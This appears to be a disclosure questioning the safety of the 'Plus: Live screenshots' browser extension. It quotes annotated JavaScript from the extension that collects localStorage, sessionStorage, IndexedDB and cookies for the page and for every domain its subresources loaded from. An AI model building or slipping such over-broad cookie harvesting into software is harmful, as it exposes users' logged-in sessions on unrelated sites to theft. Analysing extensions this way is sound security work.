Is Plus: Live screenshots of any app or website safe?

const buildSessionPayload = async (storageToCapture) => {
  const indexedDatabases = shouldCaptureIndexedDb(storageToCapture) ? await readIndexedDb() : null;

  // Every subresource this page loaded: scripts, fonts, images, XHR/fetch, iframes...
  const resourceDomains = performance.getEntriesByType('resource').map((entry) => entry.name);

  return {
    sessionPayload: {
      session: {
        // Ask the background service worker for cookies from the page URL
        // AND every one of those resource domains, not just the page itself.
        cookies: await new Promise((resolve) => {
          chrome.runtime.sendMessage(
            buildMessage(MessagesFromRecordingTab.GetCookies, {
              domains: resourceDomains,
              url: window.location.href,
            }),
            (response) => resolve(response),
          );
        }),
        indexedDatabases,
        localStorage: readLocalStorage(storageToCapture, localStorage),
        sessionStorage: readSessionStorage(storageToCapture, sessionStorage),
        userAgent: navigator.userAgent,
      },
      v: '1',
    },
    v: '3',
  };
};

if (messageType === MessagesFromRecordingTab.GetCookies) {
  const { url: pageUrl, domains: resourceDomains } = message.data;
  return getCookiesForDomains([StorageStrategy.COOKIES], pageUrl, resourceDomains)
    .then((cookies) => sendResponse(cookies))
    .catch((err) => { throw err; }),
    true; // keep the message channel open for the async sendResponse
}

// Every parent-domain suffix of a hostname:
// "widget.intercom.io" -> ["widget.intercom.io", "intercom.io", "io"]
function parentDomainSuffixes(url) {
  if (!url || !/^https?:\/\//i.test(url)) return [];
  const { hostname } = new URL(url);
  const parts = hostname.split('.');
  return parts.slice(0, parts.length - 1).map((_, i) => parts.slice(i, parts.length).join('.'));
}

async function getCookiesForDomains(storageTypes, pageUrl, resourceDomains) {
  if (!storageTypes.includes(StorageStrategy.COOKIES)) return [];
  const cookies = [];
  // Union of every suffix of the page URL AND every resource domain
  const domainsToQuery = new Set([pageUrl, ...resourceDomains].map(parentDomainSuffixes).flat());
  for (const domain of domainsToQuery) {
    const found = await chrome.cookies.getAll({ domain });
    cookies.push(...found);
  }
  return cookies;
}